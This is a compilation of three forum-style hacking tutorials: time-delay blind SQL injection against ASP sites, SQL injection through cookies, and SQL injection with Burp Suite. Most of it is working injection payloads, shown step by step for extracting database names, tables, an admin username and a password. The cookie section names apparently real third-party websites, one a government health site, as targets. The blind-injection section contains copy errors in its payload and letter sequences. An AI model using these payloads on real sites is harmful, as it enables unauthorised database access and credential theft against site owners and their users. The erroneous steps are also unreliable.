BLIND SQL INJECTION(TIME DELAY SQL INJECTION)

Blind sql Injection. (time delay)

For educational purposes only!

Since no one took the time and effort to make a decent time delay tutorial I'm doing it.
First of all what do you need.

A vulnerable only to blind sql injection .asp webstite.
Notepad, to store data you collect while injecting.
And loads of loads of spare time.

Finding vulnerable sites: --Kobez expanding vulnerable collection guide!--

The 2 kinds of time delay injection.

Integer injection:

Code:

www.[site].com/index.asp?id=1; waitfor delay '00:00:10'--

So this line sais that satabase has to wait for 10 seconds before he responds.

If the database returns directly, we know its false.
If it waits 10 seconds its "true" obvious.

String injection:

Code:

www.[site].com/index.asp?id=1'; waitfor delay '00:00:10'--

same thing here only the quote came whit it ' as in basic sqli when u have a string injection.

Extracting the database username.

Wel. we have alot of work to do.
we need to find all characters. lets start whit one:

Code:

www.[site].com/index.asp?id=1; IF (len(user)=1) waitfor delay '00:00:10'--

Lets explain first. we ask: if (len(user)=1) so we ask is user has one character. waitfor delay '00:00:10'
database needs to wait 10 seconds to respond. but we all know in most cases a user is not 1 char.

we will encrease (len(user)=1) to (len(user)=2) and so on and so on.

Code:

www.[site].com/index.asp?id=1; IF (len(user)=1) waitfor delay '00:00:10'-- [no Delay from db.]
www.[site].com/index.asp?id=1; IF (len(user)=2) waitfor delay '00:00:10'-- [no delay from db.]
www.[site].com/index.asp?id=1; IF (len(user)=1) waitfor delay '00:00:10'-- [no delay from db.]
www.[site].com/index.asp?id=1; IF (len(user)=1) waitfor delay '00:00:10'-- [page waites 10 seconds before it loads.]

we have a hit. database just told us by waiting 10 seconds that user has 4 characters.
But what are the characters we seek? :/

Get characters whit ascii and time delay.

As we have seen in my previous tutorial. we are going to use ascii.
these will help us get the characters of the username.

97 in ascii is the letter A we will encrease this count untill we get a hit.
for example 97 A, 98 B, 99 C, and so on.

how do we do this.

Code:

www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>97) waitfor delay '00:00:10'--

what did i just say.
if ascii (character code) from user
1,1 (this means 1rst character) is 97 which is an A in ascii is correct. the database would wait 10 seconds befor ethe page loads.

We need 4 character so the 1,1 needs to be increased. if we want the second character we need to do 2,1.

first character:

Code:

www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>97) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>98) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>99) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>100) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>101) waitfor delay '00:00:10'-- [10 second delay]

the first character is a E. how do i know this:
at 97 i had no delay which means its not an A
at 98 i had none either
not at 99, not at 100
but i did have a 10 second delay at 101. and 101 is E in achii char code.

We need 4 more characters.

Code:

www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),2,1)))>97) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),2,1)))>98) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),2,1)))>99) waitfor delay '00:00:10'-- [10 second delay]

second character is a C
look closely at what changed at the code. instead of 1,1 it is 2,1 because i wanted to know the second character of user.

Third character:

Code:

www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>97) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>98) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>99) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>100) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>101) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>102) waitfor delay '00:00:10'-- [10 second delay]

Third is an F yet again watch the code i changed 2,1 in 3,1.

fourth

Code:

www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>97) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>98) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>99) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>100) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>101) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>102) waitfor delay '00:00:10'-- [10 second delay]

fourth character is yet again an F.
we now have the four characters i needed:
ECFF = user.
What a hell of a job for 4 characters...
No, no we are not finished yet.

Extracting the db name.

Same as before database wants us to have a hell of a job, its a bitch.
now lets hope that god damn administrator likes short names (THEY DONT)
we need to know how many characters the db name hase. not much difference.

Code:

www[site].com/index.asp?id=1; if (len(db_name())=1) WAITFOR DELAY '00:00:10'-- [no delay]

i said database: does db_name have only one character? database said no my admin hates that.
so we need to run down the whole thing again. changing the =1 into =2, =3 and so on.
untill he waites 10 seconds.

Code:

www[site].com/index.asp?id=1; if (len(db_name())=3) WAITFOR DELAY '00:00:10'-- [10 second delay]

\our db name has 3 characters (in real cases they will probebly end up in 8 or 10 characters.
but this is a tutorial. i wont type a milion characters. if you did not get it by now XD sorry for you.

first character.

Code:

www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),1,1)))>97) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),1,1)))>98) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),1,1)))>99) waitfor delay '00:00:10'-- [10 second delay]

first character is C

Code:

www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>97) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>98) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>99) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>100) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>101) waitfor delay '00:00:10'-- [10 second delay]

second character is an E watch the limit again 1,1 changed to 2,1.

Code:

www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>97) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>98) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>99) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>100) waitfor delay '00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>101) waitfor delay '00:00:10'-- [10 second delay]

last letter is another E
db_name = CEE

Extracting database tables
the principal remains the same.
IT IS EASY. but if you want to go out door once in a while.
avoid blind sqli..

we need to know how mutch characters it hase ans we need to know what characters it has.
by now you should know the drill.

This one has 5 characters.

Code:

www[site].com/index.asp?id=1; if (len(select top 1 name from sysobjects where xtype='U')=5) waitfor delay'00:00:10'--[10 second delay]

we need to know the characters.

Code:

First is an U.
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=117) WAITFOR DELAY '00:00:10'-- (+10 seconds)

second an S.
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),2,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)

Third an E.
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),3,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)

Fourth an R.
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),4,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)

Fifth an S.
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),5,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)

Table name is USERS.

Extracting table column names.

how many characters does this column have. we know how it works ppl.

Code:

www.[site].com/index.asp?id=1; IF (len(select top 1 column_name from CEE.information_schema.columns where table_name='USERS')=8) waitfor delay '00:00:10'-- [10 second delay]

ok here we say we select the column name from database (thats the name we had at start DB_NAME) this one is CEE. we select this out of the table users we had above this part.
It has 8 characters.

now we need the characters to create the name.

Code:

First letter is U
www.[site].com/index.asp?id=1;; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),1,1)))=117) WAITFOR DELAY '00:00:10'--

second letter is an S.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),2,1)))=115) WAITFOR DELAY '00:00:10'--

third letter is an E.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),3,1)))=101) WAITFOR DELAY '00:00:10'--

Fourth letter is an R.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),4,1)))=114) WAITFOR DELAY '00:00:10'-- 

fifth letter is an n.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),5,1)))=110) WAITFOR DELAY '00:00:10'--

second letter is an a.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),6,1)))=97) WAITFOR DELAY '00:00:10'--

second letter is an m.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),7,1)))=111) WAITFOR DELAY '00:00:10'--

second letter is an e.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),8,1)))=101) WAITFOR DELAY '00:00:10'--

column name is username.

Now we need to extract the others. in some cases you could have up to 10.
lets say i only have 2 username and pass to keep it easy.

the second column name hase 4 characters.

Code:

www.[site].com/index.asp?id=1; IF (LEN(SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'USER')=4) WAITFOR DELAY '00:00:10'--

the charracters:

Code:

first letter is P.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'username'),1,1)))=112) WAITFOR DELAY '00:00:10'--

Second letter is A.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'username'),2,1)))=97) WAITFOR DELAY '00:00:10'--

third letter is S.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'username'),3,1)))=115) WAITFOR DELAY '00:00:10'--

forth letter is S.
www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'username'),4,1)))=115) WAITFOR DELAY '00:00:10'--

so we now have the column pass.

looks like we finally get somewhere.
we have column username and pass! yay.
but not yet there not yet.

Extracting rows from columns.

extracting from column username.

count of characters: 5

Code:

www.[site].com/index.asp?id=1; IF (LEN(SELECT TOP 1 username from USERS)=5) WAITFOR DELAY '00:00:10'--

what do we do here? we select whats in the column username from table users.

we need to extract the characters now:

Code:

first letter is A.
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 username from USERS),1,1))=97) WAITFOR DELAY '00:00:10'--

Second letter is D.
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 username from USERS),2,1))=100) WAITFOR DELAY '00:00:10'--

third letter is M.
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 username from USERS),3,1))=109) WAITFOR DELAY '00:00:10'--

fourth letter is I.
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 username from USERS),4,1))=105) WAITFOR DELAY '00:00:10'--

Fith letter is N.
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 username from USERS),5,1))=110) WAITFOR DELAY '00:00:10'--

We now have the name admin. (the one we need.)

extracting from column pass.

Code:

www.[site].com/index.asp?id=1; IF (LEN(SELECT TOP 1 pass from USERS)=5) WAITFOR DELAY '00:00:10'--

we need to extract the characters now:

Code:

first letter is e.
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 pass from USERS),1,1))=101) WAITFOR DELAY '00:00:10'--

Second letter is f.
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 pass from USERS),2,1))=102) WAITFOR DELAY '00:00:10'--

third letter is f.
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 pass from USERS),3,1))=102) WAITFOR DELAY '00:00:10'--

fourth letter is e.
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 pass from USERS),4,1))=101) WAITFOR DELAY '00:00:10'--

Fith letter is c.
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 pass from USERS),5,1))=99) WAITFOR DELAY '00:00:10'--

pass= effec

Now we have username: admin and his pass effec.

COOKIE SQL INJECTION

this tut will teach you how how to sql inject via cookie [also known as 'session based' or 'cookie parameter'].

until now,we know about two methods:
GET - via url
http://site.com/*.php?id=1 union select ....
for example
http://www.evt-me.com/newsDetail.php?id=8
POST - via box
like this one
http://www.health.gov.mv/ (in the search box).

and now,we gonna learn cookie.
lets strat:
first,you need google chrome.
https://www.google.com/chrome/index.html

after you have downloaded,download the addon "Cookie Editor" from Philip.
https://chrome.google.com/webstore/searc...itor?hl=en
click "+ ADD TO CHROME"


first,thanks to Hooded Robin,that gave me the site for testing.thanks man.

now after we downloaded chrome and cookie editor,lets strat for real-
get in vuln site.
for example-
http://www.caucusforamerica.com/opinion.art.php
not id=1 or search box. lets do it with cookie sqli.
click the cookie editor sign


and add ' to the value "sessID"

Spoiler (Click to Hide)

and hit sumbit.
error!

for advanced-
we can learn from the error:
-one n.o.columns
-mq off
-full path /home/americas/public_html/admin/
for beginners-
lets try finding n.o.columns (number of columns) with group by.
click the cookie editor sign and write

Code:

' group by 2--+

Spoiler (Click to View)

Unknown column '2' in 'group statement'
so

Code:

' union select 1 and 'a'='a

(the 'a'='a part is for closing a string)
NOTICE: we cant use union here cause the query get inside a "insert into" query..but union will work on other site.
you can use 'and' for extract data (' and (select 1 from table)--+)

hope you learned something

INTRODUCTION TO BURP SUITE

BURP SUITE - PART I: INTRO via SQL INJECTION

OK, so today I am going to provide you with an in depth overview and introduction to testing and attacking SQL vulnerabilities in web sites and applications with the Burp Suite toolset. The free version which I will be explaining today is a hardcore tool for the security enthusiast, and they have a PRO version with even more features than what I will be covering today for the serious or professional pentester. This article is only meant to give you an introduction to this great tool.I personally had a difficult time getting to know the Burp Suite and have approached the tool several times in the past only to be intimidated by it and pushed it off for a later date. 

Requirements:

· Java v1.5+ installed (recommended to use latest JRE), available for free from here: http://java.sun.com/j2se/downloads.html

· Copy of Burp Suite, available for free here: http://portswigger.net/burp/download.html

o Free version works just fine, but the PRO packs a few extra goodies that are well worth it from what I hear

· Make sure you can also locate and run the Brain.dll file ;)

Getting Started:

You will need to make sure you have met the prerequisites listed above, just download both. Install the Java and unpack the Burp Suite to desired location to run. In order to get Burp Suite started on most computers you can just double click the executable .jar file, if that doesn’t work for you can run it by typing this in the command prompt or terminal:

COMMAND: Java –jar burpsuite_v1.4.jar

You will be greeted with the Burp Suite GUI once this has been done, it should look something like this:

The tool set is broken down into a tabbed structure with each tab performing a different service, test, or function. Burp Suite and its tools allow you to perform manual and/or automated requests to quickly scan, enumerate, analyze, attack and exploit web sites and their applications. This is facilitated through its tabbed structure which allows you to pass the results or focus item from one toolset directly to another allowing you to build as you go. It is the culmination of all of these which make Burp Suite such a powerful toolset to have in your arsenal.

· First and foremost it has a local intercepting PROXY

o This allows you to capture traffic between your browser and the target site. You can then inspect the captured traffic and pass it along to other tools in the suite for further analysis and testing. More to follow on this…

· The application-aware SPIDER tool can be used to crawl target sites to reveal site content, underlying structure, and other functionalities.

· The REPEATER tool allows you to manually resend individual HTTP requests

o This is very handy tool as it allows you to make quick changes on the fly and see how the server responds, I will cover more on this later…

· The INTRUDER tool is another one we will be focusing on today. This tool allows you to make customized payloads to be used in attacking the target. It is highly customizable and limited only by your imagination, more to come later…

· The SEQUENCER tool comes in handy if you want to test the randomness of session tokens. This can be used to uncover weak entropy which could lead to exploiting something like Session Jacking or similar type of scenario. I won’t be covering this today, but you should be able to pick it up after this basic tutorial and then start testing on your own.

· The DECODER tool is another handy one to have around as it can be used to decode material you may come across in your testing or it can also be used to do common tasks like converting text to HEX. This is worth playing around with as I won’t be covering it here today, but it is straight forward and simple enough to pickup

· The COMPARER tool is designed to allow you to perform visual comparison of any two items

· PRO VERSION:

o Also includes an advanced web application vulnerability scanner which is very accurate in detecting all kinds of vulnerabilities that could potentially be exploited

o INTRUDER tool is not time throttled meaning quicker test times

o Allows for save and restore should you stop mid stride

o Also has some additional SEARCH, Content Discovery, and Task Scheduling features which are not available in the free version

o General feedback on the street is that it is worth it if you can afford it

OK so that gives you a basic idea of what each tool is, now I will try to show you some examples of them and how to put them to work to your advantage. I will show some examples involving testing and exploiting SQL injection vulnerabilities which can be easily modified to test for other scenarios, here goes…

Prerequisites:

· Target Site to test

· Burp Suite up and running

Alright so once you open up the Burp Suite you can navigate to the PROXY tab to get things setup so we can start intercepting traffic and begin our testing. You will need to click on PROXY, and then click on the OPTIONS tab. Here is where we can setup our proxy port to use for our testing. In my case I already have an Apache server running on port 8080 so I needed to change it to port 8181, if you don’t have anything running then leave as is. The edit and add buttons should allow you to change to fit your need. Just click the little box at the left “running” to enable the proxy service once you are done. You will see the ALERT tab light up bright RED if there are errors, and you will find a short note regarding what the problem encountered was. Here is what my basic settings look like:

Once proxy port is selected and services started in Burp Suite we need to configure our Browser to use it so we can capture the traffic. In most browsers you simply open up the settings, go to network connections, check the box to enable proxy support, and then tell it to use “localhost” and port “8181” (or whatever port you are running Burp Suite on, default: 8080). Then set OK, OK to save the updated settings and now you should be all set to go.

Now that we have that setup we can insert our target URL into the browser window and hit ENTER. You will see the Burp Suite tool light up and the Interceptor tab of the PROXY tab will light up RED to indicate it needs your input. The default behavior is to set the INTERCEPTOR to ON, which means it captures all traffic requests being sent and then requires user input to decide if the packets will be forwarded or dropped. You can forward and watch the page load the target site (may require a few forwards, depending on site). I find this feature helpful when you know you want it, but I prefer to turn the INTECEPTOR off and just manually crawl the site and let the traffic get captured and sent to the HISTORY tab. You can manually run through the site checking it out and the traffic will all be captured in the history tab for us to review and test when we are ready.

INTECEPTOR – Capture with default settings, user needs to forward or drop to continue:

TURN OFF the INTERCEPTOR and surf web as you normally would and everything gets sent to the HISTORY tab so you can test when you are done:

Here you can see all the traffic captured and the ticks next to those requests which might have parameters we can test or fuzz. Now that we have some requests to test, we will right click on the one we want to test and choose to send it to the REPEATER.

You will see the REPEATER tab light up bright RED to indicate it is now waiting for user action since the request has been sent to it. Now we can use the REPEATER to do some quick manual inspections. You will find the request already prepared in the RAW tab, it is also cleaned and organized if you prefer to review on the parameters, header, or hex tabs. You can find what works best for you, but my preference is to work with the raw request.

The REPEATER allows you to make any changes you want to the request and then resend it to analyze the results from the server. If you notice above it even highlights the request parameters in BLUE and possible vectors to manipulate in RED. Let us send the request by hitting the GO button (leave it as it is to establish a baseline), and then add a single quote to the after the “2” in the above request and then resend to see if the server responds any differently.

NOTE: If you don’t like searching through RAW responses you can also click on the RENDER tab of the response area (when available) and it will render the RAW code into what the browser would see.

Well what do you know; the server seems to have an issue with processing single quotes. This may or may not be vulnerability. You could continue to test this manually in the REPEATER by just continuing to edit, sending an analyzing the results, but this is where the INTRUDER tool comes into play, as we can create a few customized payloads and automate the process. In order to pass this request to the INTRUDER tool just right click the message body and choose the send to intruder option.

Again you will see the INTRUDER tab light up bright RED to indicate the tool is now awaiting user input. Before we begin with the INTRUDER I feel the need to lay down some additional clarification around what all is included in the INTRUDER and how they work. The Intruder tool is broken into four (4) tabs: target, positions, payloads, and options. The target tab is pretty straightforward, it only needs to point to your target site, desired port, and a ticker for whether or not you want to use SSL for connection. This tab is pretty much setup for you by default just by sending the request to the intruder tool, if you need or want to use SSL then click the ticker. The positions tab is crucial to understanding; this is where we mark our requests for the intruder to do its thing with. We will identify pieces of the request where we want to inject or alter with our payload options (will make more sense after examples ahead). The tool will use the highlighting to show you were the possible attack points are. The tool uses the § symbol as start and end markers for each targeted attack position. If you want to replace the parameter value then place the §§ symbols before and after, however if you want to test altering or injecting after it then place the §§ symbols directly after the parameter value. Here are examples of both; again this will make more sense after a few examples in a minute so bear with me for now.

Replace parameter value:

Alter to Inject after the parameter value:

.

OK so you have identified where you want to alter/inject on…now what? How do we make it work? Don’t worry keep reading we are almost there ;) In order to finalize the settings for the INTRUDER you need to also select the attack type to use and then configure settings for the attack type so it injects our desired payload into each position during tests. Here is a breakdown of the four (4) available attack types and general idea of what each does:

· Sniper: This attack mode lets us inject a single payload into the chosen attack positions. This takes the payload options and inserts them one by one into the chosen position and then repeats until it has tested all payload options. If multiple positions are chosen it will only apply the test to one position at a time. I will show you how to use this to test for signs of SQL vulnerabilities in a sec…

· Battering Ram: This is similar to the Sniper attack mode in that it takes our desired payload and inserts it into the chosen attack positions. The difference here is that if more than one position is chosen it will insert the same payload into all positions at once and test, whereas the Sniper tests them one by one. This can be a handy attack type for attacking things where the same material is needed in multiple locations of the request. I personally have not used this one a lot successfully.

· Pitchfork: This attack mode allows you to test multiple payloads based on attack position, with a max of 8 being able to be defined. This attack mode sets a different payload for each position and moves through them one by one while testing multiple positions at once, which can be extremely useful in tests as I will show in a minute.

· Cluster Bomb: This attack mode uses multiple payloads and allows you to test each possible payload in each chosen attack position, meaning it will try payload1 in position1 and then on the next test it will try payload1 in position2, swapping out for any other payloads you have defined. This can be handy when you have different input/injections needed in multiple places.

OK so now you have an idea of what the attack modes are; let me show you a few in action so it all comes together for you. We will take what we did manually and instead this time use the INTRUDER tool to test for SQL vulnerabilities. I have created a small list of possible injections to test for SQLi, nothing overly complex:

· '

· "

· /

· /*

· #

· )

· (

· )'

· ('

· and 1=1

· and 1=2

· and 1>2

· and 1<=2

· +and+1=1

· +and+1=2

· +and+1>2

· +and+1<=2

· /**/and/**/1=1

· /**/and/**/1=2

· /**/and/**/1>2

· /**/and/**/1<=2

Using our example we will set the attack vector to come after our parameter value. We will use the SNIPER attack mode to insert our list of payloads above.

Then we need to configure the payload, save the example I provided above as vuln-test.txt on your PC somewhere. Then navigate to the payloads tab where will set our payload to a “runtime file” and then select your file you saved to load as our payload injections.

NOTE: there is a URL encoding option at the bottom which you may or may not want to take advantage of. Also make sure you add a whitespace as I am not 100% it is included by default.

OK now we need to check out the options tab to finalize things and then we can run it. If you scroll down on the OPTION page you will find a section for grep. We can define text to search for on the results page after our payloads have been inserted. This can be very handy in interpreting the results as well as saving you some time. I use a general list of SQL error messages for this part, just hit load to select a file on your system or you can add them manually one by one. Whichever suits you best is fine. Here is a look at what is included in my error-vuln-check.txt file:

· unknown column

· unknown

· no record found

· mysql_num_rows()

· mysql_fetch_array()

· Error Occurred While Processing Request

· Server Error in '/' Application

· Microsoft OLE DB Provider for ODBC Drivers error

· error in your SQL syntax

· Invalid Querystring

· OLE DB Provider for ODBC

· VBScript Runtime

· ADODB.Field

· BOF or EOF

· ADODB.Command

· JET Database

· mysql_fetch_row()

· include()

· mysql_fetch_assoc()

· mysql_fetch_object()

· mysql_numrows()

· GetArray()

· FetchRow()

· Input string was not in a correct format

· Microsoft VBScript

· A syntax error has occurred

· ADODB.Field error

· ASP.NET is configured to show verbose error messages

· ASP.NET_SessionId

· Active Server Pages error

· An illegal character has been found in the statement

· An unexpected token "END-OF-STATEMENT" was found

· CLI Driver

· Can't connect to local

· Custom Error Message

· DB2 Driver

· DB2 Error

· DB2 ODBC

· Died at

· Disallowed Parent Path

· Error Diagnostic Information

· Error Message : Error loading required libraries.

· Error Report

· Error converting data type varchar to numeric

· Fatal error

· Incorrect syntax near

· Index of

· Internal Server Error

· Invalid Path Character

· Invalid procedure call or argument

· Invision Power Board Database Error

· JDBC Driver

· JDBC Error

· JDBC MySQL

· JDBC Oracle

· JDBC SQL

· Microsoft OLE DB Provider for ODBC Drivers

· Microsoft VBScript compilation error

· Microsoft VBScript error

· MySQL Driver

· MySQL Error

· MySQL ODBC

· ODBC DB2

· ODBC Driver

· ODBC Error

· ODBC Microsoft Access

· ODBC Oracle

· ODBC SQL

· ODBC SQL Server

· OLE/DB provider returned message

· ORA-0

· ORA-1

· Oracle DB2

· Oracle Driver

· Oracle Error

· Oracle ODBC

· PHP Error

· PHP Parse error

· PHP Warning

· Parent Directory

· Permission denied: 'GetObject'

· PostgreSQL query failed: ERROR: parser: parse error

· SQL Server Driver][SQL Server

· SQL command not properly ended

· SQLException

· Supplied argument is not a valid PostgreSQL result

· Syntax error in query expression

· The error occurred in

· The script whose uid is

· Type mismatch

· Unable to jump to row

· Unclosed quotation mark before the character string

· Unterminated string constant

· Warning: Cannot modify header information - headers already sent

· Warning: Supplied argument is not a valid File-Handle resource in

· Warning: mysql_query()

· Warning: pg_connect(): Unable to connect to PostgreSQL server: FATAL

· You have an error in your SQL syntax near

· detected an internal error [IBM][CLI Driver][DB2/6000]

· error

· include_path

· invalid query

· is not allowed to access

· missing expression

· mySQL error with query

· mysql error

· on MySQL result index

· on line

· server at

· server object error

· supplied argument is not a valid MySQL result resource

· unexpected end of SQL command

Once this is finished you can actually run the test using our HTTP request we identified earlier and now using our selected Sniper attack with vuln test payload and grep contents set. You can run the Intruder tool by clicking on the file menu at top and simply selecting Intruder>>start attack.

This will now open a new window where we can watch the test run and then interpret our results:

You can clearly see that there is a length difference on our messages containing the common SQLi offenders as well as some noticeable differences for the true false tests at the end. If you also look you will see that there are a lot of columns to the right and that some of them have checks in them. This is to signify that the grep found text from our provided list. If you click on a request you can then view the actual request and response in the below area, thus we can now clearly see which ones caused an error and what error was thrown, you can also review the rendered response to see visual differences for things like the true false examples since they might not always throw readable errors (again length can tell you a lot and act as a big hint as to where you should spend time investigating further).

OK we have found a potential SQLi vulnerability based on error messages and true false response tests. This is good start, but now what? Now we go back to the INTRUDER settings and work on altering our settings to further test and exploit. Let us now see if we can set the Intruder up to test ORDER BY to determine quick column count. Using the same request we will now position our payload to insert ORDER BY statement and test results to find column count.

SAMPLE-order-by.txt

· ORDER BY 1—

· ORDER BY 2—

· +ORDER+BY+1—

· +ORDER+BY+2—

· /**/ORDER/**/BY/**/1—

· /**/ORDER/**/BY/**/2--

· …

Update our grep settings to look for “unknown column” and anything else you might like to add for determining column count. Once these changes have been made, re-run the intruder tool and review the results to see what we have found:

Great – we have found the column count to be 5! You can use the response requests to judge in addition to the request length clue. Now we will send this request back to the REPEATER, now we will use the REPEATOR to find vulnerable columns. Change the ORDER BY to UNION SELECT statement with known column count, run the request in Repeater and view the rendered results to see what columns are vulnerable:

NOTE: don’t forget to NULL or negate “-“ parameter value so the output reflects any vulnerable columns.

OK, now we see clearly that columns 1 & 2 are vulnerable. Now we can send this updated request back to the intruder for further testing and exploitation. We will now setup the Intruder to insert some basic SQL queries as payloads into our vulnerable columns to get us some basic info in return. I have put together a short list called basic.txt to use as payload, but you will need to set the attack positions to insert in place of column 1 and/or 2 (You only need one so keep it simple).

SAMPLE-basic.txt:

· Version()

· User()

· Database()

· @@hostname

· @@basedir

· @@datadir

· …

Once you have payload options set, it is time to re-run once again and interpret the results. You don’t need any grep here as we will be pulling the data from the rendered server response packets directly this time.

We can keep going all the way to extraction by simply adjusting our payloads and retesting. If we want to check for the available databases we can add an additional attack vector to our existing request, modify attack mode to CLUSTER BOMB, and then change the payloads to get-dbs1.txt and get-dbs2.txt.

NOTE: we also will be changing to the CLUSTER BOMB attack mode so we can enter both payloads at the same time to get our desired results.

Once you have it setup, re-test and interpret the results:

OK, take note of the available DB names, you will need to HEX them and copy and paste them into the file called get-tables.txt as we will now use this for our next payload set to get the tables for each database found. Insert get-tables1.txt into position 1, use get-tables2.txt for payload and position 2, and insert get-tables3.txt at the end (this means we also need to add another injection/insertion attack vector to our request. It will follow immediately after position2 as we will be linking them together). The first one sets up group_concat, the second prepares the statement and the third runs through the list of database names to enumerate tables from. Re-run the Intruder test once you have it setup, no grep needed as we will be mostly using the render feature to interpret from here out.

SPECIAL NOTE: You can use the DECODER tool for HEX if you would like, just paste your text into top area and then choose the middle drop down to “encode as” and pick what you want. The converted text displays in the lower section:

See how the results differ when DB name is not in HEX value below:

